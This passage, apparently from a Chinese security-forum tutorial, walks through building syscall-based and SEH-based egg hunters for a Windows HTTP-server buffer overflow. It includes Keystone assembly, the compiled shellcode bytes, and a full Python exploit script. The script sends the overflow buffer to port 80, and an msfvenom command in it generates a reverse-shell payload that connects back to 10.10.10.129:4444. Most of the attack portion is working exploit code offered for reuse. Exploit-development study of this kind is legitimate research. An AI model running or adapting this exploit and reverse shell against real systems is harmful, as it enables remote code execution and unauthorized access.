fffffe3a ``` 然后最终修改`Hunter`代码 ```python from keystone import * CODE = ( # 1. 初始化 EDX = 0 # 作用: 确保从低地址开始扫描,防止高地址回绕导致崩溃 " xor edx, edx ;" " loop_inc_page: " # 页对齐 " or dx, 0x0fff ;" " loop_inc_one: " " inc edx ;" " loop_check: " # 2. 保存现场 # 必须把当前的地址存起来,因为 syscall 可能会弄脏寄存器 " push edx ;" # 准备系统调用号 0x1C6 (Win10) # 使用负数法绕过 \x00 " mov eax, 0xfffffe3a ;" " neg eax ;" # 触发系统调用 " int 0x2e ;" # 检查结果 " cmp al, 0x05 ;" # 3. 恢复现场 # 取回刚才保存的地址 " pop edx ;" " loop_check_valid: " # 如果是访问违规(0x05),说明不可读,跳过这一页 " je loop_inc_page ;" " is_egg: " " mov eax, 0x74303077 ;" " mov edi, edx ;" " scasd ;" " jnz loop_inc_one ;" " scasd ;" " jnz loop_inc_one ;" " matched: " " jmp edi ;" ) # 初始化 keystone 引擎 ks = Ks(KS_ARCH_X86, KS_MODE_32) # 编译 encoding, count = ks.asm(CODE) # 格式化输出 egghunter = "" badchars = [0x00, 0x0d, 0x0a, 0x25] # 简单的坏字符检查 found_bad = False for dec in encoding: if dec in badchars: print(f"[!] 警告: 生成的 Shellcode 包含坏字符: {hex(dec)}") found_bad = True egghunter += "\\x{0:02x}".format(int(dec)) if not found_bad: print("[+] Shellcode 生成成功,无坏字符!") print("egghunter = b\"" + egghunter + "\"") ``` 这样执行过后就不会存在坏字符的问题了 ``` \x31\xd2\x66\x81\xca\xff\x0f\x42\x52\xb8\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7 ``` 之后再次更新`exp`并且执行,观察`windbg`的输出,这里有两个非常简单的验证方式,可以在shellcode的部分打断点,或是在`jmp`之前打断点。可以观察到,顺利跳转到预想的`shellcode`处,由于上个部分已经分析过了这个内存,这里就不再赘述了,这里是成功跳转的样子,很好分辨,不做二次解释。   接下来的部分就很简单了,把shellcode替换一下。反弹shell。顺便一提,这个漏洞当中的`shellcode`部分,对坏字符不敏感,也就是说,生成`shellcode`时,不用考虑坏字符。 **Syscall Hunter 完整exp** ```python #!/usr/bin/python import socket import sys from struct import pack try: server = sys.argv[1] port = 80 size = 260 # \x00 \x0a \x0d \x25 # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai EXITFUNC=thread -b '\x00\x0a\x0d\x25' shellcode = b'w00tw00t' + b'\x90' * 20 shellcode += b"\xd9\xe8\xb8\x33\xb3\xb0\xe6\xd9\x74\x24\xf4" ...... shellcode += b'\x90' * (400 - len(shellcode)) syscall_hunter = b'\x90' * 20 syscall_hunter += b"\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\xb8\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7" httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /" # xor ecx,ecx;test ecx,ecx;jz short 0x1e; inputBuffer = b'A' * (253 - len(syscall_hunter)) inputBuffer += b'\x74\x86\x41' # 0x00418674 httpEndRequest = b"\r\n\r\n" buf = httpMethod + syscall_hunter +inputBuffer + httpEndRequest + shellcode print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!") except socket.error: print("Could not connect!") ```  #### 2.5.5 Egg Hunter ---- SEH Hunter 在上述的`Syscall Hunter`当中,已经看出非常直观的问题,那就是exp的通用性。假设这样一个场景,对方存在这个漏洞,但是,不确定是Windows哪个版本,那就只能一个一个去尝试调用号,这样效率低,并且很容易被察觉。黑盒角度来说,这个`exp`就非常不稳定,需要一个更加通用的方案。 首先,知道问题出在`NtAccessCheckAndAuditAlarm`这个API的调用号上,直接抛弃调用API来解决这个问题的想法。利用`Windows`的`SEH`机制来处理这个问题。这个想法分为以下几步 - Hunter 一上来先在栈上构造一个假的异常处理记录(Exception Registration Record),并把它挂载到 `fs:[0]` 链表的最前面。 - Hunter 根本不检查内存是否合法,直接拿起地址 `0x1000` 就开始读(执行 `scas` 或 `cmp`)。 - **情况 A(内存有效)**:读到了数据,比较是不是 Egg,没问题,继续。 - **情况 B(内存无效)**: CPU 触发硬件级“访问违规(Access Violation)”。 - 触发异常分发: - 程序本来该崩溃退出的。 - 但是操作系统发现你注册了 SEH。 - 于是操作系统调用一开始构造的假的异常处理记录。 整体 Handler 代码非常短,它的作用只有一个:修改寄存器上下文(Context)。 它告诉操作系统:不好意思,刚才那个地址确实读不了。请把指令指针(EIP)往后挪一挪,跳过这一页,然后让主程序恢复执行。 不得不说,我在第一次看到这个思路的时候,惊艳我一脸,这个想法太天才了。不需要知道系统调用号。SEH 机制从 Win95 到 Win11 是一样的。了解这个部分原理,开始SEH Egg Hunter代码 ```python from keystone import * CODE = ( " start: " " jmp get_seh_address ;" " build_exception_record: " " pop ecx ;" " mov eax, 0x74303077 ;" " push ecx ;" " push 0xffffffff ;" " xor ebx, ebx ;" " mov dword ptr fs:[ebx], esp ;" " sub ecx, 0x04 ;" # 调整StackBase值 " add ebx, 0x04 ;" # StackBase偏移 " mov dword ptr fs:[ebx], ecx ;" # 覆盖StackBase " is_egg: " " push 0x02 ;" " pop ecx ;" " mov edi, ebx ;" " repe scasd ;" " jnz loop_inc_one ;" " jmp edi ;" " loop_inc_page: " " or bx, 0xfff ;" " loop_inc_one: " " inc ebx ;" " jmp is_egg ;" " get_seh_address: " " call build_exception_record ;" " push 0x0c ;" " pop ecx ;" " mov eax, [esp+ecx] ;" " mov cl, 0xb8 ;" " add dword ptr ds:[eax+ecx], 0x06 ;" " pop eax ;" " add esp, 0x10 ;" " push eax ;" " xor eax, eax ;" " ret ;" ) ks = Ks(KS_ARCH_X86, KS_MODE_32) encoding, count = ks.asm(CODE) print("Encoded %d instructions..." % count) egghunter = "" for dec in encoding: egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n") print("egghunter = (\"" + egghunter + "\")") ``` 然后修改`exp` ```python # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai EXITFUNC=thread -b '\x00\x0a\x0d\x25' shellcode = b'\x90' * 20 shellcode += ...... shellcode += b'\x90' * (400 - len(shellcode)) syscall_hunter = b'\x90' * 20 syscall_hunter += b"\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\xb8\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7" seh_hunter = b'\x90' * 20 seh_hunter += b'\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3' httpMethod = b'\x31\xC9\x85\xC9\x74\x1C' + b" /" # xor ecx,ecx;test ecx,ecx;jz short 0x1e; inputBuffer = b'A' * (253 - len(seh_hunter)) inputBuffer += b'\x74\x86\x41' # 0x00418674 httpEndRequest = b"\r\n\r\n" ``` 获取shell 
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#漏洞分析
#漏洞利用
#缓冲区溢出
#Fuzz
#Windows
收藏
・
8
点赞
・
38
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
git_99440qimingminimax
为你点赞!
1天前
git_51951meggadf3df
非常支持你的观点!
2026-9-11 07:51
北袅
非常支持你的观点!
2026-8-27 13:37
mb_lthgjpwj
为你点赞!
2026-8-21 08:14
mb_wsoacceo
为你点赞!
2026-8-10 21:08
DODOR
你的分享对大家帮助很大,非常感谢!
2026-7-26 16:25
wx_晨梦
这个讨论对我很有帮助,谢谢!
2026-7-16 06:46
zhongdong
为你点赞!
2026-6-23 10:15
npc0vo
感谢你的积极参与,期待更多精彩内容!
2026-4-26 04:02
漫雾.
谢谢你的细致分析,受益匪浅!
2026-4-7 08:48
tyl0r
你的帖子非常有用,感谢分享!
2026-3-23 10:05
mb_sevkrxkm
感谢你分享这么好的资源!
2026-3-4 00:15
Cherzsh
感谢你的积极参与,期待更多精彩内容!
2026-3-3 18:17
ShortonX
+1
为你点赞!
2026-3-3 18:09
Tokameine
感谢你分享这么好的资源!
2026-1-12 17:10
fujing
你的分享对大家帮助很大,非常感谢!
2026-1-10 08:47
上网鱼
感谢你的贡献,论坛因你而更加精彩!
2026-1-9 22:49
电脑装机维修
这个讨论对我很有帮助,谢谢!
2026-1-9 13:19
kkte
非常支持你的观点!
2026-1-8 12:22
天水姜伯约
你的帖子非常有用,感谢分享!
2026-1-8 11:52
穗之影
谢谢你的细致分析,受益匪浅!
2026-1-7 14:57
kishou_yusa
为你点赞!
2026-1-6 21:45
岁月。
为你点赞!
2026-1-6 11:44
PayPoc
为你点赞!
2026-1-5 12:18
令狐双
谢谢你的细致分析,受益匪浅!
2026-1-5 11:00
煜凡
谢谢你的细致分析,受益匪浅!
2026-1-5 09:50
ONewTach
非常支持你的观点!
2026-1-5 09:04
小柯南
为你点赞!
2026-1-4 22:57
lrhtony
这个讨论对我很有帮助,谢谢!
2026-1-4 20:06
mb_fefksfsl
感谢你的积极参与,期待更多精彩内容!
2026-1-4 17:44
L0x1c
期待更多优质内容的分享,论坛有你更精彩!
2026-1-4 17:20
jmpcall
这个讨论对我很有帮助,谢谢!
2026-1-4 14:46
asdll
感谢你的贡献,论坛因你而更加精彩!
2026-1-4 12:37
5m10v3
谢谢你的细致分析,受益匪浅!
2026-1-4 12:35
UserXCh
为你点赞!
2026-1-4 10:43
有毒
期待更多优质内容的分享,论坛有你更精彩!
2026-1-4 09:57
wx_突突兔
谢谢你的细致分析,受益匪浅!
2026-1-4 06:49
huangyalei
这个讨论对我很有帮助,谢谢!
2026-1-4 00:19
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
14
)
拍拖
雪 币:
2790
活跃值:
(7011)
能力值:
( LV6,RANK:90 )
在线值:
发帖
22
回帖
425
粉丝
15
关注
私信
拍拖
2
2
楼
感谢分享
2026-1-7 13:51
0
kkte
雪 币:
309
活跃值:
(1361)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
28
粉丝
3
关注
私信
kkte
3
楼
感谢分享
2026-1-8 12:25
0
mb_uksljezn
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
3
粉丝
0
关注
私信
mb_uksljezn
4
楼
感谢分享
2026-1-9 03:29
0
mb_euhyowpw
雪 币:
2
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
149
粉丝
0
关注
私信
mb_euhyowpw
5
楼
566
2026-1-9 19:12
0
mb_mkbhabqr
雪 币:
7
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
1
粉丝
0
关注
私信
mb_mkbhabqr
6
楼
为你点赞!
2026-1-29 14:59
0
落花满怀
雪 币:
142
活跃值:
(377)
能力值:
( LV3,RANK:30 )
在线值:
发帖
7
回帖
80
粉丝
0
关注
私信
落花满怀
7
楼
为你点赞!
2026-1-31 14:42
0
mb_mpzckhav
雪 币:
208
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
1
粉丝
0
关注
私信
mb_mpzckhav
8
楼
为你点赞!
2026-3-3 19:22
0
mb_jxiwhkvq
雪 币:
4
能力值:
( LV1,RANK:0 )
在线值:
发帖
2
回帖
20
粉丝
0
关注
私信
mb_jxiwhkvq
9
楼
6
2026-3-4 12:57
0
human6789
雪 币:
531
能力值:
( LV1,RANK:0 )
在线值:
发帖
1
回帖
21
粉丝
1
关注
私信
human6789
10
楼
感谢分享
2026-5-10 19:50
0
hungnguyen
雪 币:
188
活跃值:
(2156)
能力值:
( LV2,RANK:10 )
在线值:
发帖
7
回帖
114
粉丝
0
关注
私信
hungnguyen
11
楼
感谢分享
2026-5-10 21:25
0
mb_qkpnryky
雪 币:
200
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
4
粉丝
0
关注
私信
mb_qkpnryky
12
楼
666666
2026-5-22 20:21
0
CRichEdit
雪 币:
22
活跃值:
(169)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
4
粉丝
0
关注
私信
CRichEdit
13
楼
66666
2026-5-26 02:30
0
风铃の告白
雪 币:
261
活跃值:
(228)
能力值:
( LV2,RANK:10 )
在线值:
发帖
0
回帖
7
粉丝
0
关注
私信
风铃の告白
14
楼
2026-9-17 01:54
0
mb_rqlksylg
雪 币:
96
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
74
粉丝
0
关注
私信
mb_rqlksylg
15
楼
ccc
2026-9-17 02:06
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Cypher.M
3
8
发帖
2
回帖
160
RANK
关注
私信
他的文章
[原创] exploit-db exp 优化SEH Egghunter
13498
[原创] Egg Hunter 技术详解
22724
[原创] ***RCE分析记录
29415
[原创] Windows SEH 溢出漏洞分析记录 - KNet
14661
[原创] SEH 溢出调试分析记录-Diskpls
17381
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部